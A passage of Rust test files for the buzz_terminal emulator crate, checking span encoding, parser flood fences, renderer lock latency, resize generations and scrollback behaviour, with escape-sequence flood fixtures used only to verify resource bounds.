let marked = marked.first().expect("a span must be emitted");
assert_eq!(marked.text.chars().count(), 2, "base plus combining mark");
assert_eq!(marked.cluster_count, 1, "one cluster occupying one column");
// The plain run absorbs the row's blank padding, so its length is the
// viewport width rather than 2 -- what matters is that the count tracks
// the char count instead of collapsing to 1.
let (plain, _b) = render("ab");
let plain = plain.first().expect("a span must be emitted");
assert!(plain.cluster_count > 1, "a plain run is not one cluster");
assert_eq!(
usize::from(plain.cluster_count),
plain.text.chars().count(),
"one cluster per char"
);
assert_eq!(marked.width, plain.width, "both are width 1");
assert!(marked.counts_are_consistent() && plain.counts_are_consistent());
}
/// The join guard has two halves: the previous cell must not have carried
/// marks (`open`), and the current cell must not carry them (`joinable`).
/// Every fixture above exercises only the first half -- a plain cluster
/// following a marked one. This one exercises the second: a *marked* cluster
/// arriving after a plain run, which is the only path on which the run in
/// progress is handed text holding more `char`s than the one cluster its
/// count is about to be incremented by.
///
/// Sami found the hole. With `joinable` dropped from the guard, a release
/// build silently emits `Span { column: 0, text: "xyé", cluster_count: 3 }`:
/// four chars counted as three, so the consumer's rule splits per char and
/// places the combining mark on top of `z`.
#[test]
fn a_marked_cluster_after_a_plain_run_starts_its_own_span() {
let (spans, _actions) = render("xye\u{0301}z");
assert_eq!(
placements(&spans),
vec![
(0, "x".into()),
(1, "y".into()),
(2, "e\u{0301}".into()),
(3, "z".into()),
],
"a marked cluster must not be absorbed into the run in front of it"
);
}
/// `cluster_count` is a `u16` and `Size.columns` is an unclamped `usize`
/// (`lib.rs:50`) that no production caller bounds yet, so a row of uniform
/// cells wider than `u16::MAX` reaches the join guard's overflow refusal.
/// The guard is live code, not paranoia, and this fixture is what says so.
///
/// Refusing to join produces a shape the consumer already handles -- the run
/// ends and a new span starts at the next column -- whereas wrapping produces
/// an undecodable span, the same failure as the marked-after-plain case above.
#[test]
fn a_run_longer_than_u16_max_splits_rather_than_wrapping() {
let columns = 70_000;
let size = Size {
columns,
screen_lines: 1,
scrollback: 0,
};
let (term, _actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
// One character is enough: the rest of the row is blank cells of the same
// style, so the whole row is a single candidate run.
shared.feed_fully(b"a");
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let spans = &frame
.rows
.iter()
.find(|row| row.line == 0)
.expect("the fed row must be present")
.spans;
assert!(
spans.iter().all(|span| span.counts_are_consistent()),
"an oversized run must not wrap its count: {spans:?}"
);
let counts: Vec<u16> = spans.iter().map(|span| span.cluster_count).collect();
let columns_at: Vec<usize> = spans.iter().map(|span| span.column).collect();
assert_eq!(
counts,
vec![u16::MAX, (columns - u16::MAX as usize) as u16],
"the run must end at the last representable count"
);
assert_eq!(
columns_at,
vec![0, u16::MAX as usize],
"the second span starts where the first left off"
);
let chars: usize = spans.iter().map(|span| span.text.chars().count()).sum();
assert_eq!(chars, columns, "no cell may be dropped by the split");
}
/// Wrapping marks the last cell of the row with `WRAPLINE` (upstream
/// `term/mod.rs:968`). That bit records where the text happened to wrap, not
/// how the text looks, so it must not reach the style key: if it did, the last
/// column of every wrapped row would split off into a span of its own -- an
/// extra wire record per wrapped line, and span boundaries that move when the
/// window is resized.
///
/// Quinn found this by reading `cell.rs:21` while checking the `WIDE_CHAR`
/// mask; this fixture is the proof that was missing from the source read.
#[test]
fn wrapping_does_not_split_a_uniform_run() {
let size = Size {
columns: 5,
screen_lines: 3,
scrollback: 100,
};
let (term, _actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
// Six narrow cells in one style: five fill row 0 and set WRAPLINE on the
// last of them, the sixth lands on row 1.
shared.feed_fully(b"abcdef");
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let first = frame
.rows
.iter()
.find(|row| row.line == 0)
.expect("wrapped row must be present");
assert!(
first.wrapped,
"soft-wrap geometry must survive row encoding"
);
let texts: Vec<&str> = first.spans.iter().map(|s| s.text.as_str()).collect();
assert_eq!(
texts,
vec!["abcde"],
"a wrapped row of one style is one span; WRAPLINE must not break it"
);
}
/// A wide glyph at the last usable column wraps to the next row rather than
/// straddling the edge. The contract must hold on the wrapped row too.
#[test]
fn leading_wide_glyph_after_wrap_is_positioned_from_column_zero() {
let size = Size {
columns: 5,
screen_lines: 3,
scrollback: 100,
};
let (term, _actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
// Four narrow cells fill 0..=3, leaving one column: the wide glyph cannot
// fit and moves to the next row.
shared.feed_fully("abcd\u{4E00}".as_bytes());
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let second = frame
.rows
.iter()
.find(|row| row.line == 1)
.expect("wrapped row must be present");
assert_eq!(
placements(&second.spans),
vec![(0, "\u{4E00}".into())],
"a wrapped wide glyph starts at column 0 of the next row"
);
}
@@ -0,0 +1,41 @@
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{SharedTerminal, Size, Terminal};
#[test]
fn space_over_blank_cell_publishes_cursor_only_frame() {
let (terminal, _actions) = Terminal::new(
Size {
columns: 8,
screen_lines: 2,
scrollback: 10,
},
Fences::ALL,
);
let terminal = SharedTerminal::new(terminal);
let mut encoder = Encoder::new();
let initial = terminal.render(&mut encoder);
assert!(!initial.is_empty());
assert_eq!(initial.cursor.column, 0);
terminal.feed_fully(b" ");
let after_space = terminal.render(&mut encoder);
assert!(
after_space.rows.is_empty(),
"a blank cell overwritten with a space must be row-deduplicated"
);
assert_eq!(after_space.cursor.column, 1);
assert!(after_space.cursor_changed);
assert!(
!after_space.is_empty(),
"cursor movement must make the frame publishable"
);
let idle = terminal.render(&mut encoder);
assert!(
idle.is_empty(),
"an unchanged cursor must not create traffic"
);
}
@@ -0,0 +1,169 @@
//! Mutation-sensitive byte fixtures for the two parser fences.
//!
//! These use the shipping `Terminal::feed` path. Arms that could be masked by
//! the other fence disable it explicitly; the switches are runtime values, not
//! cargo features, so the default test binary always contains every arm.
use alacritty_terminal::grid::Dimensions;
use alacritty_terminal::index::{Column, Line, Point};
use buzz_terminal::fences::{Fences, OSC_BUDGET, SYNC_CAP};
use buzz_terminal::{Size, Terminal};
const CHUNK: usize = 8192;
const G1_BYTES: usize = 2 << 20;
const G2_FRAMES: usize = 40;
const G2_FRAME_BYTES: usize = 1_900 * 1024;
fn size() -> Size {
Size {
columns: 120,
screen_lines: 40,
scrollback: 2000,
}
}
fn feed_synchronized(term: &mut Terminal, payload: &[u8], close: bool) {
term.feed_fully(b"\x1b[?2026h");
for chunk in payload.chunks(CHUNK) {
term.feed_fully(chunk);
}
if close {
term.feed_fully(b"\x1b[?2026l");
}
}
fn repeated(pattern: &[u8], bytes: usize) -> Vec<u8> {
pattern.iter().copied().cycle().take(bytes).collect()
}
fn count_markers(term: &Terminal, markers: usize) -> usize {
let grid = term.term().grid();
let mut text = String::new();
let top = -(grid.history_size() as i32);
for line in top..term.size().screen_lines as i32 {
for column in 0..term.size().columns {
text.push(grid[Point::new(Line(line), Column(column))].c);
}
text.push('\n');
}
(0..markers)
.filter(|m| text.contains(&format!("MK{m:03}")))
.count()
}
fn legitimate_frame(markers: usize, bytes: usize) -> Vec<u8> {
let mut payload = Vec::with_capacity(bytes);
for marker in 0..markers {
payload.extend_from_slice(format!("MK{marker:03}\r\n").as_bytes());
let target = bytes * (marker + 1) / markers;
while payload.len() < target {
payload.extend_from_slice(b"\x1b[1;32mx\x1b[0m");
}
payload.extend_from_slice(b"\r\n");
}
payload.truncate(bytes);
payload
}
/// G1: every hostile content shape must remain below the deterministic byte
/// bound, and the same shape with F1 deleted must cross it. Keeping both arms
/// adjacent prevents a simplified fixture from becoming vacuously cheap.
#[test]
fn g1_sync_abort_bounds_all_hostile_shapes() {
let shapes: [(&str, &[u8]); 5] = [
("sgr", b"\x1b[1;32mbuzz\x1b[0m\r\n"),
("ascii", b"buzz substrate output\r\n"),
("emoji", "🐝🚀✨\r\n".as_bytes()),
("zalgo", "z\u{0301}\u{0302}\u{0303}\u{0304}\r\n".as_bytes()),
("truecolor", b"\x1b[38;2;255;0;128mRGB\x1b[0m\r\n"),
];
for (name, pattern) in shapes {
let payload = repeated(pattern, G1_BYTES);
let (mut fenced, _) = Terminal::new(size(), Fences::ALL);
feed_synchronized(&mut fenced, &payload, false);
let fenced_stats = fenced.stats();
assert!(fenced_stats.sync_aborts > 0, "{name}: F1 never fired");
assert!(
fenced_stats.max_release <= 2 * SYNC_CAP,
"{name}: fenced release {} exceeds 128 KiB",
fenced_stats.max_release
);
let (mut unfenced, _) = Terminal::new(size(), Fences::NONE);
feed_synchronized(&mut unfenced, &payload, false);
let unfenced_stats = unfenced.stats();
assert_eq!(unfenced_stats.sync_aborts, 0, "{name}: control enabled F1");
assert!(
unfenced_stats.max_release > 2 * SYNC_CAP,
"{name}: unfenced release {} stayed inside the gate; fixture is vacuous",
unfenced_stats.max_release
);
}
}
/// G2 arm 1: deletion oracle. F1 remains enabled because this arm proves F2
/// deletion under the combined production configuration.
#[test]
fn g2_hostile_unsynchronized_osc_resets_parser() {
let (mut term, _) = Terminal::new(size(), Fences::ALL);
term.feed_fully(b"\x1b]0;");
for chunk in repeated(b"A", OSC_BUDGET * 4).chunks(CHUNK) {
term.feed_fully(chunk);
}
assert!(term.stats().osc_resets > 0, "F2 never rebuilt the parser");
}
/// G2 arm 2: every synchronized release is attributed. F1 is disabled so its
/// small abort releases cannot mask an implementation that omits ESU flushes.
#[test]
fn g2_each_synchronized_flush_is_attributed() {
let payload = repeated(b"A", G2_FRAME_BYTES);
let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY);
for _ in 0..G2_FRAMES {
feed_synchronized(&mut term, &payload, true);
}
let stats = term.stats();
assert_eq!(stats.sync_aborts, 0, "F1 must be disabled in this arm");
assert_eq!(
stats.osc_resets, G2_FRAMES as u64,
"expected one reset for each atomic synchronized release"
);
assert!(
stats.charged_bytes >= (G2_FRAMES * G2_FRAME_BYTES) as u64,
"flush bytes were omitted from attribution: {} charged",
stats.charged_bytes
);
}
/// G2 arm 3: parser-visible attribution preserves a legitimate 1.5 MiB frame.
/// F1 is disabled; raw-input counting would reset mid-frame and lose markers.
#[test]
fn g2_legitimate_large_frame_preserves_all_markers() {
let markers = 200;
let payload = legitimate_frame(markers, 1_500 * 1024);
let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY);
feed_synchronized(&mut term, &payload, true);
assert_eq!(
count_markers(&term, markers),
markers,
"legitimate frame lost markers"
);
}
/// Legitimacy control: neither fence alone nor the production combination may
/// corrupt a normal synchronized frame.
#[test]
fn g2_legitimate_frame_survives_each_fence_configuration() {
let markers = 200;
let payload = legitimate_frame(markers, 128 * 1024);
for fences in [Fences::SYNC_ONLY, Fences::OSC_ONLY, Fences::ALL] {
let (mut term, _) = Terminal::new(size(), fences);
feed_synchronized(&mut term, &payload, true);
assert_eq!(
count_markers(&term, markers),
markers,
"{fences:?} lost markers"
);
}
}
@@ -0,0 +1,156 @@
//! G3: the renderer's wait for the terminal lock, under flood.
//!
//! The plan originally required "reader hold < 16.7 ms". That requirement was
//! struck: measured under a 180 MB/s flood, reader hold is p50 1 us while
//! renderer *acquire* is p50 4245 us. Hold time passes trivially while the
//! window is visibly stuck, because 0.389% of feeds carry 96.4% of the lock
//! time and the p50 hold never sees them. What a human feels is the wait, so
//! that is what is gated here.
//!
//! F1 is the fence being tested. It is a memory bound *and* a latency fence:
//! it turns one ~2 MiB parser release into ~64 KiB pieces, and the renderer's
//! wait falls with it.
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::Duration;
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{SharedTerminal, Size, Terminal};
/// One frame at 60 Hz. No acquire may exceed this: a single wait this long is
/// a dropped frame regardless of how good the distribution looks.
///
/// Unlike the p95 below, this bound **cannot be protected by headroom**, and
/// that asymmetry is why this test is `#[ignore]`d and run only in release on
/// an idle host. A quantile discards its worst samples by construction, so it
/// degrades gracefully as a machine gets noisy; a maximum over `FRAMES` samples
/// is a single observation, and any one scheduler preemption exceeds it. There
/// is no budget that makes the max arm robust to contention -- the tail it
/// catches belongs to the scheduler, not to this code.
///
/// Measured on one 16-core host at `FRAMES = 200`: at load average ~6 the gate
/// passes; at ~31 it fails with p95 65535 us / max 164889 us. A run at ambient
/// load produced p95 1023 us -- 4x *inside* budget -- while max alone blew at
/// 38150 us.
///
/// So the repair for a flake here is to fix the host, never to raise this
/// number. Raising it is the one change that silently removes the only assert
/// that catches the user-visible failure: a hitch is a max-event, and a
/// p95-only gate passes a run containing a 38 ms stall.
const FRAME_MICROS: u64 = 16_667;
/// p95 budget. Measured at 127 us with F1 on -- 31x of headroom, which is the
/// margin that lets *this* arm tolerate a loaded machine without becoming a
/// coin flip. The reasoning covers the quantile only; see `FRAME_MICROS`.
const P95_MICROS: u64 = 4_000;
/// Frames sampled per arm. Counted rather than timed: sample count under a
/// wall-clock budget is a function of how slow the arm is, so a duration-based
/// loop gives the *unfenced* arm the fewest samples -- fewest exactly where the
/// tail being measured lives. Counting frames makes both arms the same
/// experiment.
const FRAMES: u32 = 200;
/// A ~2 MiB synchronized update, closed, replayed in PTY-sized reads.
///
/// The payload's *shape* is the load-bearing part, and it cost me a wrong
/// result to learn it. An earlier version poured 8 KiB blocks of `A` into an
/// update that was never closed. It floods just as many bytes per second, and
/// it does not discriminate F1 at all: measured p95 63 us fenced vs 63 us
/// unfenced. Plain `A` overwrites one line at a few ns per byte, so even a
/// 2 MiB release is a short lock hold.
///
/// What makes a release expensive is work per byte -- SGR state changes and
/// `\r\n` line feeds that push rows into scrollback. With that payload the same
/// experiment separates by 129x. So this gate is sensitive to input shape and
/// not merely to input rate, which is why the control below is not optional.
fn flood(shared: &SharedTerminal, stop: &AtomicBool) {
let mut payload: Vec<u8> = b"\x1b[?2026h".to_vec();
while payload.len() < (2 << 20) {
payload.extend_from_slice(b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n");
}
payload.extend_from_slice(b"\x1b[?2026l");
while !stop.load(Ordering::Relaxed) {
for chunk in payload.chunks(8192) {
if stop.load(Ordering::Relaxed) {
return;
}
shared.feed_fully(chunk);
}
}
}
/// Render at 60 Hz for the duration of the flood, and report the renderer
/// plane's acquisition latencies.
fn measure(fences: Fences) -> buzz_terminal::AcquireStats {
let size = Size {
columns: 200,
screen_lines: 50,
scrollback: 10_000,
};
let (term, _actions) = Terminal::new(size, fences);
let shared = Arc::new(SharedTerminal::new(term));
let stop = Arc::new(AtomicBool::new(false));
let writer = {
let (shared, stop) = (Arc::clone(&shared), Arc::clone(&stop));
thread::spawn(move || flood(&shared, &stop))
};
// Don't measure the ramp: let the flood reach steady state, then clear.
thread::sleep(Duration::from_millis(200));
shared.renderer_acquire().reset();
let mut encoder = Encoder::new();
for _ in 0..FRAMES {
shared.render(&mut encoder);
thread::sleep(Duration::from_micros(FRAME_MICROS));
}
let stats = shared.renderer_acquire().snapshot();
stop.store(true, Ordering::Relaxed);
writer.join().expect("flood thread panicked");
assert_eq!(stats.acquisitions, FRAMES as u64, "meter lost samples");
stats
}
/// G3: with F1 on, the renderer's wait stays inside a frame -- and the
/// unfenced control shows the fence is what puts it there.
///
/// Both arms live in one `#[test]` on purpose. As separate tests they run
/// concurrently by default, each with its own flood thread, so each arm's
/// measurement includes the other arm's CPU load and the control's ratio
/// becomes a race between two floods rather than a statement about F1.
#[test]
#[ignore = "native performance gate; run release-mode on a known-idle host"]
fn g3_renderer_acquire_stays_within_frame_budget() {
let fenced = measure(Fences::ALL);
let p95 = fenced.percentile_micros(0.95);
assert!(
p95 <= P95_MICROS,
"renderer acquire p95 {p95} us over the {P95_MICROS} us budget (max {} us, n={})",
fenced.max_micros,
fenced.acquisitions
);
assert!(
fenced.max_micros <= FRAME_MICROS,
"renderer waited {} us for the terminal lock -- a dropped frame (p95 {p95} us, n={})",
fenced.max_micros,
fenced.acquisitions
);
// The control. Without it this gate could pass because the fixture never
// contended -- green over an experiment that did not run.
let unfenced = measure(Fences::OSC_ONLY);
assert!(
unfenced.max_micros > fenced.max_micros.max(1) * 4,
"unfenced renderer max {} us vs fenced {} us -- F1 is not what holds \
renderer latency down, and this gate is measuring something else",
unfenced.max_micros,
fenced.max_micros
);
}
@@ -0,0 +1,196 @@
//! The resize seam: what a consumer is allowed to rely on across a reflow.
//!
//! The dedup encoder caches a hash per line. A resize reflows content into
//! rows of a different width, so those cached hashes describe a grid that no
//! longer exists -- if a resize did not force a full frame, dedup could
//! suppress a row whose content genuinely changed and leave the renderer
//! showing reflowed-away text.
//!
//! It does force one: upstream's `TermDamageState::resize` sets `full`
//! (`alacritty_terminal-0.26.0` term/mod.rs:240). These fixtures hold that
//! behaviour to the seam, because it is upstream's invariant and not ours.
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel, and every subsequent listener send silently fails. These fixtures
/// don't assert on actions, but a fixture that quietly disables a code path is
/// how a future assertion gets written against a dead one.
fn shared(size: Size) -> (SharedTerminal, Receiver<Action>) {
let (term, actions) = Terminal::new(size, Fences::ALL);
(SharedTerminal::new(term), actions)
}
fn size(columns: usize) -> Size {
Size {
columns,
screen_lines: 10,
scrollback: 1000,
}
}
fn grid(columns: usize, screen_lines: usize) -> Size {
Size {
columns,
screen_lines,
scrollback: 1000,
}
}
/// A resize invalidates dedup and republishes the whole grid at the new width.
#[test]
fn resize_forces_a_full_frame_at_the_new_width() {
let (shared, _actions) = shared(size(40));
let mut encoder = Encoder::new();
shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line\r\n");
let first = shared.render(&mut encoder);
assert!(first.full, "first frame after a fresh Term must be full");
assert_eq!(first.viewport.columns, 40);
assert_eq!(first.viewport.generation, 0);
// Nothing changed: dedup suppresses everything. Without this the next
// assertion could pass simply because every frame is full.
let idle = shared.render(&mut encoder);
assert!(!idle.full, "an unchanged grid must not republish");
assert!(
idle.rows.is_empty(),
"dedup let {} unchanged rows through",
idle.rows.len()
);
let applied = shared.resize(size(20));
assert_eq!(
applied.columns, 20,
"resize did not report the grid it applied"
);
assert_eq!(
applied.generation, 1,
"generation must advance across a resize"
);
let after = shared.render(&mut encoder);
assert!(
after.full,
"a resize must invalidate the renderer's cached rows"
);
assert_eq!(
after.viewport, applied,
"frame's viewport disagrees with the one resize reported applying"
);
assert_eq!(after.rows.len(), 10, "full frame must carry every line");
let row0: String = after.rows[0]
.spans
.iter()
.map(|s| s.text.as_str())
.collect();
assert_eq!(row0.chars().count(), 20, "row emitted at the old width");
assert!(
row0.starts_with("hello world"),
"content lost across reflow: {row0:?}"
);
}
/// A no-op resize is not a resize: it must not burn a generation, or every
/// `ResizeObserver` tick would look like a discontinuity to the consumer.
#[test]
fn identical_resize_is_inert() {
let (shared, _actions) = shared(size(40));
let mut encoder = Encoder::new();
shared.feed_fully(b"hello");
shared.render(&mut encoder);
let applied = shared.resize(size(40));
assert_eq!(
applied.generation, 0,
"a same-size resize advanced the generation"
);
let after = shared.render(&mut encoder);
assert_eq!(after.viewport, applied);
assert!(
!after.full,
"a same-size resize forced a needless full repaint"
);
}
/// A **full frame must carry every row**, including rows whose content is
/// byte-identical to what sat at that index before the resize.
///
/// This is the arm that catches a dedup cache surviving a full frame, and the
/// width-changing fixture above does *not* catch it: changing the width changes
/// every row's cell contents, so the hashes differ and the rows are emitted for
/// the wrong reason. A **height-only** resize keeps the width, so reflowed rows
/// hash exactly as before -- and a stale cache suppresses them right after the
/// consumer was told to discard what it had. The result is a renderer holding
/// nothing where content should be.
///
/// Verified concretely: growing 10 -> 20 lines moves "hello world" from row 0
/// to row 1, so correctness here is not merely about frame bookkeeping.
#[test]
fn full_frame_after_height_resize_republishes_unchanged_rows() {
let (shared, _actions) = shared(grid(40, 10));
let mut encoder = Encoder::new();
shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line");
let first = shared.render(&mut encoder);
assert!(first.full);
assert_eq!(first.rows.len(), 10);
shared.resize(grid(40, 20));
let after = shared.render(&mut encoder);
assert!(
after.full,
"a resize must invalidate the renderer's cached rows"
);
assert_eq!(after.viewport.screen_lines, 20);
assert_eq!(
after.rows.len(),
20,
"full frame carried {} of 20 rows -- dedup suppressed rows the consumer \
was simultaneously told to discard, leaving them blank",
after.rows.len()
);
}
/// A frame is stamped with the grid it was **captured on**, and a later resize
/// does not retroactively re-label it.
///
/// This is the cross-transport race in the integration lane: frame delivery and
/// the resize call are separate paths, so a generation-N frame can arrive after
/// generation N+1 has been applied. Rejecting it requires the stamp to be
/// capture-time truth.
///
/// Note what is and is not proven here. That an owned `Frame` cannot mutate is
/// guaranteed by the language, so asserting it against a copy of itself would
/// be tautological. What this asserts is that `capture()` stamps the viewport
/// as it was **at capture**, against explicit expected values -- a `capture()`
/// that read the viewport a moment later, or a `Frame` that carried a handle
/// back to the terminal, would fail here.
#[test]
fn a_frame_is_stamped_with_the_grid_it_was_captured_on() {
let (shared, _actions) = shared(grid(40, 10));
let mut encoder = Encoder::new();
shared.feed_fully(b"\x1b[2J\x1b[Hhello world");
let in_flight = shared.render(&mut encoder);
assert_eq!(in_flight.viewport.generation, 0);
assert_eq!(in_flight.viewport.columns, 40);
let applied = shared.resize(grid(20, 10));
assert_eq!(applied.generation, 1);
assert_eq!(applied.columns, 20);
// The held frame still describes the pre-resize grid, so a consumer can
// compare the two and discard it rather than paint 40-column rows onto a
// 20-column grid.
assert_eq!(
in_flight.viewport.columns, 40,
"a frame captured before the resize describes the post-resize grid; \
a stale frame arriving late would be indistinguishable from a fresh one"
);
assert_eq!(in_flight.viewport.generation, 0);
assert_ne!(in_flight.viewport, applied);
}
@@ -0,0 +1,399 @@
//! Reaching the scrollback the engine has always been keeping.
//!
//! The grid retains 10k lines in production and, before this, nothing could
//! move the viewport off the live edge. Three things have to hold at once for
//! that to become usable, and each one fails silently on its own:
//!
//! 1. **Direction.** A flipped sign still scrolls, still clamps, and still
//! repaints. Only a human notices. So the direction is asserted here, in
//! test names, rather than left to the caller to get right.
//! 2. **Coordinates.** Capture reads screen rows out of a grid indexed from
//! the live edge. Off-by-the-offset shows *some* plausible text.
//! 3. **Dedup.** The renderer's per-row hashes describe the screen it last
//! saw. Scrolling changes every row without changing the grid, so a scroll
//! that consumed the full-damage flag would leave those hashes describing
//! a viewport that is no longer shown -- and they would then suppress a row
//! that really did change.
use buzz_terminal::damage::{Encoder, Frame};
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel and every subsequent listener send silently fails.
fn terminal(
columns: usize,
screen_lines: usize,
scrollback: usize,
) -> (SharedTerminal, Receiver<Action>) {
let size = Size {
columns,
screen_lines,
scrollback,
};
let (term, actions) = Terminal::new(size, Fences::ALL);
(SharedTerminal::new(term), actions)
}
/// The text of every row the frame carries, indexed by screen row.
///
/// Blank rows are kept as empty strings rather than filtered out: this suite
/// is about *which row shows which line*, and dropping the blanks would
/// renumber every row after one.
fn rows_by_line(frame: &Frame) -> Vec<(usize, String)> {
frame
.rows
.iter()
.map(|row| {
(
row.line,
row.spans
.iter()
.map(|span| span.text.as_str())
.collect::<String>()
.trim_end()
.to_string(),
)
})
.collect()
}
/// Just the text, in screen order. Only meaningful for a full frame.
fn screen(frame: &Frame) -> Vec<String> {
rows_by_line(frame)
.into_iter()
.map(|(_, text)| text)
.collect()
}
/// Fill history with numbered lines, then take a caught-up renderer.
///
/// Returns the terminal and an encoder that has already consumed the damage
/// from that output, so anything a later assertion sees is caused by the
/// thing under test rather than by the fixture.
fn scrolled_terminal(lines: usize) -> (SharedTerminal, Receiver<Action>, Encoder) {
let (shared, actions) = terminal(20, 4, 100);
let payload = (1..=lines)
.map(|n| format!("L{n:02}"))
.collect::<Vec<_>>()
.join("\r\n");
shared.feed_fully(payload.as_bytes());
let mut renderer = Encoder::new();
let _ = shared.render(&mut renderer);
(shared, actions, renderer)
}
#[test]
fn the_fixture_starts_at_the_live_edge_showing_the_newest_lines() {
let (shared, _actions, _) = scrolled_terminal(10);
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L07", "L08", "L09", "L10"]
);
assert_eq!(shared.lock().display_offset(), 0);
}
/// **The direction, at the engine boundary.** Positive goes *into* history.
///
/// This is upstream's convention and the reason the embedder negates the DOM
/// delta exactly once. If this assertion and `terminal_scroll`'s negation are
/// ever flipped together the pair still passes -- which is why the embedder's
/// own direction test asserts against the DOM sign rather than against this
/// one.
#[test]
fn positive_lines_scroll_backwards_into_history() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(shared.scroll(2), "two lines of history exist to move into");
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L05", "L06", "L07", "L08"],
"scrolling back two lines must show two older lines"
);
assert_eq!(shared.lock().display_offset(), 2);
}
#[test]
fn negative_lines_scroll_forwards_towards_the_live_edge() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(shared.scroll(3));
assert!(shared.scroll(-1), "one line back towards the edge");
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L05", "L06", "L07", "L08"]
);
assert_eq!(shared.lock().display_offset(), 2);
}
/// The momentum guard. A trackpad flick keeps delivering events for about a
/// second after the fingers lift; once history runs out every one of them
/// must be free.
#[test]
fn scrolling_past_the_oldest_line_clamps_and_reports_no_movement() {
let (shared, _actions, _) = scrolled_terminal(10);
// Six lines of history: ten written, four on screen.
assert!(shared.scroll(6));
assert_eq!(shared.lock().display_offset(), 6);
assert!(
!shared.scroll(1),
"there is nothing older, so nothing moved"
);
assert!(
!shared.scroll(1_000),
"and a whole flick of it still moves nothing"
);
assert_eq!(shared.lock().display_offset(), 6);
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L01", "L02", "L03", "L04"],
"the top of history is the oldest line, not a blank grid"
);
}
#[test]
fn scrolling_forwards_at_the_live_edge_reports_no_movement() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(!shared.scroll(-1));
assert!(!shared.scroll(-1_000));
assert_eq!(shared.lock().display_offset(), 0);
}
#[test]
fn snapping_to_the_bottom_moves_only_when_scrolled_back() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(
!shared.scroll_to_bottom(),
"already live: a keystroke must not cost a repaint"
);
assert!(shared.scroll(4));
assert!(shared.scroll_to_bottom(), "scrolled back: this is the snap");
assert_eq!(shared.lock().display_offset(), 0);
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L07", "L08", "L09", "L10"]
);
}
/// Why the snap has to exist at all: output does **not** bring the viewport
/// back. The grid pins a scrolled-back viewport and piles new lines above it
/// (`Grid::scroll_up` advances `display_offset` when it is non-zero), which is
/// the behaviour you want while reading -- and means the echo of a keystroke
/// would otherwise land on a screen the user cannot see.
#[test]
fn output_while_scrolled_back_leaves_the_viewport_where_the_reader_put_it() {
let (shared, _actions, mut renderer) = scrolled_terminal(10);
assert!(shared.scroll(3));
shared.feed_fully(b"\r\nL11\r\nL12");
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["L04", "L05", "L06", "L07"],
"the reader stays put while new output accumulates below"
);
// And the snap still returns to the *new* live edge, not the old one.
assert!(shared.scroll_to_bottom());
let after = shared.render(&mut renderer);
assert!(after.full, "a viewport move is a repaint");
assert_eq!(screen(&after), vec!["L09", "L10", "L11", "L12"]);
}
/// **The silent-corruption case.**
///
/// The renderer's `Encoder` holds one content hash per screen row. Scrolling
/// changes what every row shows without changing a single cell, so those
/// hashes are stale the instant the viewport moves. The engine's protection is
/// that `scroll_display` marks the grid fully damaged and the embedder
/// republishes via `snapshot`, which does not consume damage -- so the
/// full-damage flag survives for the renderer's own next `render()`, which is
/// what clears its hashes.
///
/// The discriminating part is the row content. Row 0 after the scroll holds
/// `L04`; if a stale hash for row 0 -- taken when it held `L07` -- survived,
/// the row would still ship, because the hashes differ. So the test scrolls to
/// a position where the *pre-scroll* text reappears at the *same screen row*:
/// scrolling back 4 puts `L03..L06` on screen, and then scrolling forward 4
/// restores exactly the rows the hashes describe. A renderer whose hashes were
/// never cleared suppresses the whole screen there, and the user is left
/// looking at history that has scrolled away.
#[test]
fn a_scroll_does_not_leave_the_renderer_deduping_against_a_viewport_it_no_longer_shows() {
let (shared, _actions, mut renderer) = scrolled_terminal(10);
// The embedder's scroll path: move, then republish by snapshot.
assert!(shared.scroll(4));
let mut scroll_encoder = Encoder::new();
let republished = shared.snapshot(&mut scroll_encoder);
assert_eq!(screen(&republished), vec!["L03", "L04", "L05", "L06"]);
// The renderer thread's own next capture must still be told to repaint.
let after_scroll = shared.render(&mut renderer);
assert!(
after_scroll.full,
"the scroll's snapshot must not have eaten the full-damage flag"
);
assert_eq!(screen(&after_scroll), vec!["L03", "L04", "L05", "L06"]);
// Now back to where the renderer's *original* hashes were taken. Every row
// matches a hash it already holds, so only a cleared cache ships them.
assert!(shared.scroll(-4));
let mut back_encoder = Encoder::new();
let _ = shared.snapshot(&mut back_encoder);
let after_return = shared.render(&mut renderer);
assert!(after_return.full);
assert_eq!(
screen(&after_return),
vec!["L07", "L08", "L09", "L10"],
"returning to a previously-hashed viewport must still repaint it"
);
}
/// A row that genuinely changes while the viewport is scrolled back must
/// still reach the renderer. This is the same dedup hazard from the other
